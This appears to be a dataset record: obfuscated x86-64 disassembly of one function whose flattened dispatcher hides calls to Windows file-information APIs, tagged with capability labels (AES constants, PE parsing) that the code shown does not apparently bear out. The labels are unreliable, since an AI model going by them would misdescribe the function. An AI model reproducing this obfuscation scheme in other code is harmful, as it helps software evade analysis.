Function at 0x140047eee
Capabilities:
Manually build aes constants
Parse pe header

Disassembly:
push rax
pushf
mov eax, 0x21bf9f31
pushf
not eax
add eax, 0x91b31dd2
xor eax, 0xb227a846
rol eax, 0x30
popf
pushf
not eax
add eax, 0xc312f505
xor eax, 0xcac9f62c
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x8d86ce4e
xor eax, 0xf6025db2
rol eax, 0x97
popf
cmp eax, 0x20
jne 0x140047f3e
popf
pop rax
jmp 0x1400491fd
cmp eax, 0
jne 0x140047f4d
popf
pop rax
jmp 0x140048178
cmp eax, 3
jne 0x140047f5c
popf
pop rax
jmp 0x14004843f
cmp eax, 1
jne 0x140047f6b
popf
pop rax
jmp 0x1400482d2
cmp eax, 0xd
jne 0x140047f7a
popf
pop rax
jmp 0x140048924
cmp eax, 0x1a
jne 0x140047f89
popf
pop rax
jmp 0x140048ef2
cmp eax, 0xe
jne 0x140047f98
popf
pop rax
jmp 0x1400489db
cmp eax, 0xb
jne 0x140047fa7
popf
pop rax
jmp 0x140048833
cmp eax, 0x19
jne 0x140047fb6
popf
pop rax
jmp 0x140048e5c
cmp eax, 8
jne 0x140047fc5
popf
pop rax
jmp 0x1400486e1
cmp eax, 0x1d
jne 0x140047fd4
popf
pop rax
jmp 0x1400490a6
cmp eax, 0x17
jne 0x140047fe3
popf
pop rax
jmp 0x140048da2
cmp eax, 0x1c
jne 0x140047ff2
popf
pop rax
jmp 0x140049002
cmp eax, 0x12
jne 0x140048001
popf
pop rax
jmp 0x140048b8c
cmp eax, 0x18
jne 0x140048010
popf
pop rax
jmp 0x140048ddc
cmp eax, 0x11
jne 0x14004801f
popf
pop rax
jmp 0x140048b21
cmp eax, 0x1b
jne 0x14004802e
popf
pop rax
jmp 0x140048f9d
cmp eax, 0x21
jne 0x14004803d
popf
pop rax
jmp 0x140049239
cmp eax, 0x23
jne 0x14004804c
popf
pop rax
jmp 0x140049339
cmp eax, 0x25
jne 0x14004805b
popf
pop rax
jmp 0x140049488
cmp eax, 0xf
jne 0x14004806a
popf
pop rax
jmp 0x140048a1a
cmp eax, 0x13
jne 0x140048079
popf
pop rax
jmp 0x140048c0c
cmp eax, 0x15
jne 0x140048088
popf
pop rax
jmp 0x140048ca6
cmp eax, 0x24
jne 0x140048097
popf
pop rax
jmp 0x1400493ca
cmp eax, 0x1e
jne 0x1400480a6
popf
pop rax
jmp 0x140049168
cmp eax, 0xc
jne 0x1400480b5
popf
pop rax
jmp 0x1400488a6
cmp eax, 0x26
jne 0x1400480c4
popf
pop rax
jmp 0x1400494d7
cmp eax, 5
jne 0x1400480d3
popf
pop rax
jmp 0x140048539
cmp eax, 0x1f
jne 0x1400480e2
popf
pop rax
jmp 0x1400491a7
cmp eax, 0x10
jne 0x1400480f1
popf
pop rax
jmp 0x140048aa3
cmp eax, 6
jne 0x140048100
popf
pop rax
jmp 0x1400485e1
cmp eax, 9
jne 0x14004810f
popf
pop rax
jmp 0x140048752
cmp eax, 4
jne 0x14004811e
popf
pop rax
jmp 0x1400484eb
cmp eax, 0x16
jne 0x14004812d
popf
pop rax
jmp 0x140048d29
cmp eax, 2
jne 0x14004813c
popf
pop rax
jmp 0x140048354
cmp eax, 0xa
jne 0x14004814b
popf
pop rax
jmp 0x1400487d9
cmp eax, 0x22
jne 0x14004815a
popf
pop rax
jmp 0x1400492bb
cmp eax, 0x14
jne 0x140048169
popf
pop rax
jmp 0x140048c44
cmp eax, 7
jne 0x140048178
popf
pop rax
jmp 0x1400486da
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x14003f040]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rbx, rcx
mov rdx, rcx
xor esi, esi
lea rcx, [rbp - 0x48]
mov r9d, 0x20d9e76a
pushf
not r9d
add r9d, 0xfc320727
xor r9d, 0x88cd1825
rol r9d, 0x3c
popf
pushf
not r9d
add r9d, 0xebb07e4f
xor r9d, 0xc7ce7eba
rol r9d, 0xd4
popf
pushf
not r9d
add r9d, 0xc4df5e32
xor r9d, 0xe25349e7
rol r9d, 0x21
popf
pushf
not r9d
add r9d, 0xa20fda34
xor r9d, 0xc2a1833d
rol r9d, 0x27
popf
mov r8d, 0xd01fcbd9
pushf
not r8d
add r8d, 0xd7d3f0a7
xor r8d, 0xbc2b8087
rol r8d, 0x63
popf
pushf
not r8d
add r8d, 0xcf5dca8a
xor r8d, 0xf261a9b4
rol r8d, 0x20
popf
mov dil, sil
call fcn.140163656
mov ecx, eax
test eax, eax
jne 0x14004829f
push rax
pushf
mov eax, 0x2ceab438
pushf
not eax
add eax, 0xdcce343d
xor eax, 0xb74c0735
rol eax, 0x58
popf
pushf
not eax
add eax, 0xadc17467
xor eax, 0xf2865926
rol eax, 0x59
popf
pushf
not eax
add eax, 0xc8d054de
xor eax, 0xd5b3f7a6
rol eax, 0xbe
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0x4bc664b5
pushf
not eax
add eax, 0x87fa5e4c
xor eax, 0xe723f8fb
rol eax, 0x72
popf
pushf
not eax
add eax, 0x8a2f6b79
xor eax, 0x8477ff68
rol eax, 0xfc
popf
jmp 0x140047f2f
mov dil, 0xf
pushf
not dil
add dil, 0x44
xor dil, 0x74
rol dil, 0xbf
popf
pushf
not dil
add dil, 0x45
xor dil, 4
rol dil, 0x63
popf
push rax
pushf
mov eax, 0xea9a3200
pushf
not eax
add eax, 0xca21812a
xor eax, 0x8da55770
rol eax, 4
popf
pushf
not eax
add eax, 0xaddc1871
xor eax, 0xfd9e5779
rol eax, 0x40
popf
pushf
not eax
add eax, 0x803f9bee
xor eax, 0x8391f845
rol eax, 0x19
popf
pushf
not eax
add eax, 0xdee141bf
xor eax, 0xc1ca2b62
rol eax, 0xef
popf
jmp 0x140047f2f
mov rbx, qword [rbp - 0x48]
lea r8, [rbp - 0x40]
mov r9d, 0x47b090b4
pushf
not r9d
add r9d, 0xeeb496a3
xor r9d, 0xa7973a54
rol r9d, 0xb5
popf
pushf
not r9d
add r9d, 0xda57fda3
xor r9d, 0x8900e189
rol r9d, 0x5a
popf
pushf
not r9d
add r9d, 0x948409bc
xor r9d, 0xcbdbad91
rol r9d, 0xca
popf
mov dword [rbp - 0x40], 0x13
mov rcx, rbx
lea edx, [r9 + 0x11]
jmp 0x1400483bc
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
test eax, eax
je 0x1400483f9
push rax
pushf
mov eax, 0xfb4e1ec0
pushf
not eax
add eax, 0xad18dd17
xor eax, 0xa42fabd5
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xa1fd9ca9
xor eax, 0xd7b2967d
rol eax, 0xab
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0xde6977a0
pushf
not eax
add eax, 0xb78a2e1c
xor eax, 0x8adeb91c
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xb506bf9c
xor eax, 0xa4b3fcdd
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xfb746f2c
xor eax, 0xf072876a
rol eax, 0x96
popf
jmp 0x140047f2f
mov byte [rbp - 0x50], 1
mov dword [rbp - 0x4c], esi
cmp rbx, 0xffffffffffffffff
je 0x140048492
push rax
pushf
mov eax, 0xe1e480cf
pushf
not eax
add eax, 0x9b250440
xor eax, 0xc61bb3dd
rol eax, 0x76
popf
pushf
not eax
add eax, 0x8560b9c8
xor eax, 0xc86296dd
rol eax, 0xcc
popf
pushf
not eax
add eax, 0x83acf2ec
xor eax, 0xdc6a89c5
rol eax, 0x23
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0x6ae9456
pushf
not eax
add eax, 0x8375f76d
xor eax, 0xc240f0b2
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xfd948eb1
xor eax, 0xeab67d6f
rol eax, 0x60
popf
pushf
not eax
add eax, 0x92a7f033
xor eax, 0xbe8c5e83
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xb54b25c8
xor eax, 0xee99c214
rol eax, 0xef
popf
jmp 0x140047f2f
mov rcx, rbx
jmp 0x140048752
cmp ecx, 5
jne 0x140048588
push rax
pushf
mov eax, 0x51f90b92
pushf
not eax
add eax, 0xe5afe369
xor eax, 0xc8312c70
rol eax, 0x25
popf
pushf
not eax
add eax, 0xaf2ec66c
xor eax, 0xa6217bff
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x91f80b30
xor eax, 0xaf6211af
rol eax, 0x2d
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0x18601804
pushf
not eax
add eax, 0xfdab764b
xor eax, 0x849c5931
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xc43e2de7
xor eax, 0x93bc6c99
rol eax, 3
popf
pushf
not eax
add eax, 0xc6cd4cca
xor eax, 0xd540e29b
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xec0291b8
xor eax, 0xc739bcc0
rol eax, 0x94
popf
jmp 0x140047f2f
mov r9d, 0x7249075b
pushf
not r9d
add r9d, 0x90d00769
xor r9d, 0xf30f1d1e
rol r9d, 0x50
popf
pushf
not r9d
add r9d, 0xecfe2c5c
xor r9d, 0xcfeab6d3
rol r9d, 0xea
popf
lea rcx, [rbp - 0x48]
mov r8d, 0x873582f2
pushf
not r8d
add r8d, 0xf8b0b188
xor r8d, 0x85935f0a
rol r8d, 0xf5
popf
pushf
not r8d
add r8d, 0xfd92cfe1
xor r8d, 0xc994b2d2
rol r8d, 0x41
popf
mov rdx, rbx
call fcn.140163656
test eax, eax
je 0x140048694
push rax
pushf
mov eax, 0xf3212c10
pushf
not eax
add eax, 0xe55dd92d
xor eax, 0xff10a661
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xad85f6ec
xor eax, 0xc5009690
rol eax, 0xee
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0x6d4dcb3e
pushf
not eax
add eax, 0x9916de6f
xor eax, 0xafbc949f
rol eax, 0x11
popf
pushf
not eax
add eax, 0x9c1bf901
xor eax, 0xdd7d7058
rol eax, 0x29
popf
pushf
not eax
add eax, 0x81373551
xor eax, 0xfe369a2d
rol eax, 0x9a
popf
jmp 0x140047f2f
mov byte [rbp - 0x50], sil
mov dword [rbp - 0x4c], eax
mov rcx, qword [rbp - 0x48]
cmp rcx, 0xffffffffffffffff
je 0x14004871e
push rax
pushf
mov eax, 0xc8d10786
pushf
not eax
add eax, 0x8abd624a
xor eax, 0x80ab4a5b
rol eax, 0xb8
popf
pushf
not eax
add eax, 0x89f29fae
xor eax, 0xf1b0789d
rol eax, 0xd3
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0xc58c251e
pushf
not eax
add eax, 0xaed34a54
xor eax, 0xde0cd4b2
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xc0a7a4aa
xor eax, 0xc7e45904
rol eax, 0xd5
popf
jmp 0x140047f2f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140048793
push rax
pushf
mov eax, 0x1572723f
pushf
not eax
add eax, 0x984ac453
xor eax, 0xe4339ddd
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xf43fc0c3
xor eax, 0xbaa4b183
rol eax, 0x34
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0xf76cdabe
pushf
not eax
add eax, 0xb0c31e0e
xor eax, 0xbf101a70
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xfaec5068
xor eax, 0xbcb41fb4
rol eax, 0x10
popf
pushf
not eax
add eax, 0xd506c90d
xor eax, 0x8d855df6
rol eax, 0xda
popf
jmp 0x140047f2f
mov rax, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1400fe99c
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
sub ecx, 1
je 0x140048873
push rax
pushf
mov eax, 0x800d69c7
pushf
not eax
add eax, 0xc45fbcdf
xor eax, 0xf53cc65c
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x89a639a6
xor eax, 0xcf513ae0
rol eax, 0x76
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0xed650e1f
pushf
not eax
add eax, 0xf12f672f
xor eax, 0xeb4e7fa3
rol eax, 0x67
popf
pushf
not eax
add eax, 0x96876d99
xor eax, 0x94741727
rol eax, 0xe2
popf
jmp 0x140047f2f
sub ecx, 0x31
je 0x1400488f1
push rax
pushf
mov eax, 0xb0835e58
pushf
not eax
add eax, 0xbef3d403
xor eax, 0xdb443525
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xb51c8185
xor eax, 0x83172174
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xf191007b
xor eax, 0xd2f4caed
rol eax, 0x88
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0x3b0503b4
pushf
not eax
add eax, 0xb5bc9e40
xor eax, 0xcb40cb26
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x957a7565
xor eax, 0xdf348b2f
rol eax, 0x30
popf
jmp 0x140047f2f
cmp ecx, 0x25
je 0x140048982
push rax
pushf
mov eax, 0x8b275e1c
pushf
not eax
add eax, 0xd6aa2dc3
xor eax, 0xc13184aa
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xc9df46ec
xor eax, 0x9207bd0d
rol eax, 0xb
popf
pushf
not eax
add eax, 0xbc28524c
xor eax, 0x92e810ae
rol eax, 0x61
popf
pushf
not eax
add eax, 0x92c8f19c
xor eax, 0xeb30e928
rol eax, 0x1b
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0x777e516e
pushf
not eax
add eax, 0x801cc2f7
xor eax, 0x9034528d
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xfef6461e
xor eax, 0x9cc1b010
rol eax, 0x28
popf
pushf
not eax
add eax, 0xb3205283
xor eax, 0xe456c23b
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xe0d97e6b
xor eax, 0x8b4636a5
rol eax, 0xfa
popf
jmp 0x140047f2f
mov byte [rbp - 0x50], sil
mov dword [rbp - 0x4c], eax
jmp 0x140048446
mov rcx, rbx
call fcn.140159ca2
test eax, eax
je 0x140048a5d
push rax
pushf
mov eax, 0x69cfe002
pushf
not eax
add eax, 0xa363c383
xor eax, 0xbf137622
rol eax, 0x61
popf
pushf
not eax
add eax, 0xbea1a66e
xor eax, 0xb3a07b28
rol eax, 0x4b
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0xdd9a0e29
pushf
not eax
add eax, 0x95a287cf
xor eax, 0x9749a04d
rol eax, 0x52
popf
pushf
not eax
add eax, 0xedcf6a14
xor eax, 0xe20305ea
rol eax, 0x85
popf
pushf
not eax
add eax, 0x852c5b81
xor eax, 0xff773eac
rol eax, 0x1d
popf
jmp 0x140047f2f
cmp eax, 5
jne 0x140048adb
push rax
pushf
mov eax, 0xf26f06f9
pushf
not eax
add eax, 0x84a273ec
xor eax, 0x81a9bd6d
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xd9845972
xor eax, 0xe0e783f5
rol eax, 0x9c
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0xe8337170
pushf
not eax
add eax, 0xa02f0833
xor eax, 0xc18768e1
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xf74c7540
xor eax, 0xc7d592ed
rol eax, 0x82
popf
pushf
not eax
add eax, 0xf32a1ecb
xor eax, 0xdf094192
rol eax, 0x43
popf
jmp 0x140047f2f
test dil, dil
je 0x140048b59
push rax
pushf
mov eax, 0x14f18607
pushf
not eax
add eax, 0x8617c716
xor eax, 0x8f12d012
rol eax, 0xfc
popf
pushf
not eax
add eax, 0x91150acb
xor eax, 0xc131c1b0
rol eax, 0x61
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0x56b31c4
pushf
not eax
add eax, 0xb7a78f38
xor eax, 0xe037f2b6
rol eax, 0xca
popf
pushf
not eax
add eax, 0xf04f35ca
xor eax, 0xc1903c81
rol eax, 0xd7
popf
jmp 0x140047f2f
lea edi, [rax + 0x23]
xor edx, edx
mov r9d, edi
lea r8, [rbp - 0x38]
mov rcx, rbx
jmp 0x140048b9c
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandleEx]
test eax, eax
jne 0x140048bd9
push rax
pushf
mov eax, 0x551ac080
pushf
not eax
add eax, 0x956657f9
xor eax, 0xe17d98a9
rol eax, 0x28
popf
pushf
not eax
add eax, 0xf403a0fb
xor eax, 0xbdf70f59
rol eax, 0x92
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0x9f256543
pushf
not eax
add eax, 0x9443be58
xor eax, 0xca797ed5
rol eax, 0x44
popf
pushf
not eax
add eax, 0xb8f27a31
xor eax, 0xc267fe1d
rol eax, 0x50
popf
jmp 0x140047f2f
mov byte [rbp - 0x50], sil
push rax
pushf
mov eax, 0x4182393e
pushf
not eax
add eax, 0x8668564b
xor eax, 0xf037a154
rol eax, 0x53
popf
pushf
not eax
add eax, 0xc02fc05a
xor eax, 0xdd6a19d8
rol eax, 0xa0
popf
jmp 0x140047f2f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp - 0x4c], eax
push rax
pushf
mov eax, 0x6878b167
pushf
not eax
add eax, 0xee76a4ea
xor eax, 0xc67371d0
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xf43dbfa1
xor eax, 0xee10d776
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xdb27382c
xor eax, 0x9d3c2edc
rol eax, 0x31
popf
pushf
not eax
add eax, 0xc95b239c
xor eax, 0x9ecd30d1
rol eax, 8
popf
jmp 0x140047f2f
cmp rbx, 0xffffffffffffffff
je 0x140048ce3
push rax
pushf
mov eax, 0xd5fe9fba
pushf
not eax
add eax, 0xb20ad108
xor eax, 0xc12bb7bd
rol eax, 0x43
popf
pushf
not eax
add eax, 0x81cf64ab
xor eax, 0x98933b2a
rol eax, 0x58
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0xd840b5e0
pushf
not eax
add eax, 0xb4ab33cf
xor eax, 0xd1422d69
rol eax, 0x11
popf
pushf
not eax
add eax, 0xae829a01
xor eax, 0xac6a17ac
rol eax, 0x26
popf
pushf
not eax
add eax, 0xf3a4ca58
xor eax, 0xac1ec32f
rol eax, 0xcf
popf
jmp 0x140047f2f
mov rcx, rbx
jmp 0x140048d2d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x140048d6e
push rax
pushf
mov eax, 0xac078c8f
pushf
not eax
add eax, 0xd347dcc0
xor eax, 0xc7a593d5
rol eax, 0x3f
popf
pushf
not eax
add eax, 0x8859311e
xor eax, 0x95064f2b
rol eax, 0x2b
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0xc4f49d6e
pushf
not eax
add eax, 0xd1fea0c6
xor eax, 0x957a9429
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xe02e09d4
xor eax, 0xf6a7011c
rol eax, 0x5b
popf
jmp 0x140047f2f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
mov eax, dword [rbp - 0x18]
test al, 1
je 0x140048e29
push rax
pushf
mov eax, 0x7749527
pushf
not eax
add eax, 0xf9dc0009
xor eax, 0xa54612cd
rol eax, 6
popf
pushf
not eax
add eax, 0xc1456f8a
xor eax, 0x93c7245c
rol eax, 0xc4
popf
pushf
not eax
add eax, 0x8b984815
xor eax, 0xd994490e
rol eax, 0xb9
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0x189877d1
pushf
not eax
add eax, 0xdb2864e7
xor eax, 0xed706ae1
rol eax, 8
popf
pushf
not eax
add eax, 0x9b86654d
xor eax, 0x9bf6711d
rol eax, 0x12
popf
jmp 0x140047f2f
xor eax, 1
lea r8, [rbp - 0x38]
mov r9d, edi
mov dword [rbp - 0x18], eax
xor edx, edx
mov rcx, rbx
jmp 0x140048e6f
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
test eax, eax
je 0x140048eac
push rax
pushf
mov eax, 0x4dc26f13
pushf
not eax
add eax, 0xe7e43658
xor eax, 0xe2d96cbf
rol eax, 3
popf
pushf
not eax
add eax, 0x8f4e32d0
xor eax, 0xf388d2f4
rol eax, 0x67
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0x7580015c
pushf
not eax
add eax, 0xf631735d
xor eax, 0x947bb19e
rol eax, 0x4f
popf
pushf
not eax
add eax, 0x96c5ff84
xor eax, 0xa2d09f7f
rol eax, 0x61
popf
pushf
not eax
add eax, 0xe1681927
xor eax, 0xb51b6263
rol eax, 0x77
popf
jmp 0x140047f2f
mov rcx, rbx
call fcn.140159ca2
test eax, eax
jne 0x140048f44
push rax
pushf
mov eax, 0xed48f112
pushf
not eax
add eax, 0x82cdeed3
xor eax, 0xc8706636
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x9dfca8a0
xor eax, 0xe7e00131
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xd714f041
xor eax, 0xa91d221b
rol eax, 0x94
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0x8f48209a
pushf
not eax
add eax, 0xab1fe5cb
xor eax, 0xc2d4ac3e
rol eax, 0x23
popf
pushf
not eax
add eax, 0xa80b86da
xor eax, 0xc0b308e7
rol eax, 0xed
popf
pushf
not eax
add eax, 0xad8b258c
xor eax, 0x919e1bd1
rol eax, 0xff
popf
pushf
not eax
add eax, 0xeefc9963
xor eax, 0x83523c29
rol eax, 0x2f
popf
jmp 0x140047f2f
mov byte [rbp - 0x50], 1
mov dword [rbp - 0x4c], esi
jmp 0x140048ca6
cmp eax, 5
jne 0x14004904d
push rax
pushf
mov eax, 0xa1592c44
pushf
not eax
add eax, 0xcec7dc01
xor eax, 0xbbddb117
rol eax, 0xed
popf
pushf
not eax
add eax, 0x862b808b
xor eax, 0xa8cc0b65
rol eax, 7
popf
pushf
not eax
add eax, 0xed606f1d
xor eax, 0xa05dee57
rol eax, 0x35
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0xf563c92d
pushf
not eax
add eax, 0xe3e72c8c
xor eax, 0xe446f13b
rol eax, 0x96
popf
pushf
not eax
add eax, 0xd4b52dfa
xor eax, 0xb960eb95
rol eax, 0xef
popf
pushf
not eax
add eax, 0xbef9308d
xor eax, 0xb7c2d341
rol eax, 0xef
popf
pushf
not eax
add eax, 0xfb752281
xor eax, 0xddebc023
rol eax, 0xd
popf
jmp 0x140047f2f
or dword [rbp - 0x18], 1
lea r8, [rbp - 0x38]
mov r9d, edi
xor edx, edx
mov rcx, rbx
jmp 0x1400490b7
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
mov byte [rbp - 0x50], sil
test eax, eax
je 0x140049122
push rax
pushf
mov eax, 0xb1d9b9f6
pushf
not eax
add eax, 0xb49b1a63
xor eax, 0x82a50003
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xc0820568
xor eax, 0xf6387380
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xaf060e91
xor eax, 0xb177ec62
rol eax, 0x6f
popf
pushf
not eax
add eax, 0x8e602dd6
xor eax, 0x892bc78e
rol eax, 0x2a
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0xad70a607
pushf
not eax
add eax, 0xc7ec1964
xor eax, 0x88d24eee
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xeea64d0f
xor eax, 0xd1046670
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xfa3c4a32
xor eax, 0xf7269666
rol eax, 0xdb
popf
jmp 0x140047f2f
mov dword [rbp - 0x4c], 5
jmp 0x140048ca6
mov byte [rbp - 0x50], sil
jmp 0x1400491ac
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400489df
mov byte [rbp - 0x50], sil
jmp 0x140049168
mov byte [rbp - 0x50], sil
sub eax, 2
je 0x140049288
push rax
pushf
mov eax, 0xfb3c1590
pushf
not eax
add eax, 0xa4b05807
xor eax, 0x94b6a541
rol eax, 0x93
popf
pushf
not eax
add eax, 0xce8c42f6
xor eax, 0xab23902f
rol eax, 0x43
popf
pushf
not eax
add eax, 0x93924f0b
xor eax, 0x94046381
rol eax, 0x17
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0xb0111264
pushf
not eax
add eax, 0xe7b592bc
xor eax, 0xe51d221b
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xfa2afacf
xor eax, 0xc57c921e
rol eax, 0x60
popf
jmp 0x140047f2f
sub eax, 1
je 0x140049306
push rax
pushf
mov eax, 0x5f5fa256
pushf
not eax
add eax, 0x999c249a
xor eax, 0x824bebd2
rol eax, 0x90
popf
pushf
not eax
add eax, 0xb6a08145
xor eax, 0xe77bcb98
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xea841562
xor eax, 0x8fdcc434
rol eax, 0xfd
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0x1108d474
pushf
not eax
add eax, 0xb09b31bb
xor eax, 0x87eabc63
rol eax, 0x99
popf
pushf
not eax
add eax, 0xf104e620
xor eax, 0xecd3f45d
rol eax, 0xa7
popf
jmp 0x140047f2f
sub eax, 0x32
je 0x140049397
push rax
pushf
mov eax, 0x99cc24dc
pushf
not eax
add eax, 0xfdf4516e
xor eax, 0xa9bf5cc6
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xd9a1d274
xor eax, 0x84a0e7d4
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xea14a984
xor eax, 0xddc18534
rol eax, 0xae
popf
pushf
not eax
add eax, 0xeb0eb62f
xor eax, 0xf584f9b6
rol eax, 0xfc
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0x8c4a8936
pushf
not eax
add eax, 0xe68e59e9
xor eax, 0xa6a8b065
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xeec8d2f0
xor eax, 0x82ca599f
rol eax, 0x1b
popf
jmp 0x140047f2f
mov dword [rbp - 0x4c], ecx
cmp eax, 0x46
jne 0x14004942f
push rax
pushf
mov eax, 0xda42b178
pushf
not eax
add eax, 0x8e580f09
xor eax, 0x89211ad3
rol eax, 0x32
popf
pushf
not eax
add eax, 0xdc9b2ce7
xor eax, 0xb1d861ce
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xc12e5714
xor eax, 0xb29269bd
rol eax, 0x76
popf
pushf
not eax
add eax, 0xf389080c
xor eax, 0xd5727d9c
rol eax, 0xa3
popf
jmp 0x140047f2f
push rax
pushf
mov eax, 0x473234e5
pushf
not eax
add eax, 0xdc2b7547
xor eax, 0xebfbe94e
rol eax, 0xde
popf
pushf
not eax
add eax, 0x9163b1fc
xor eax, 0xe48bd4dd
rol eax, 0x82
popf
pushf
not eax
add eax, 0x8531ab1e
xor eax, 0x88e9f353
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xd049293a
xor eax, 0xde81b22d
rol eax, 0x49
popf
jmp 0x140047f2f
mov dword [rbp - 0x4c], esi
jmp 0x1400486e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3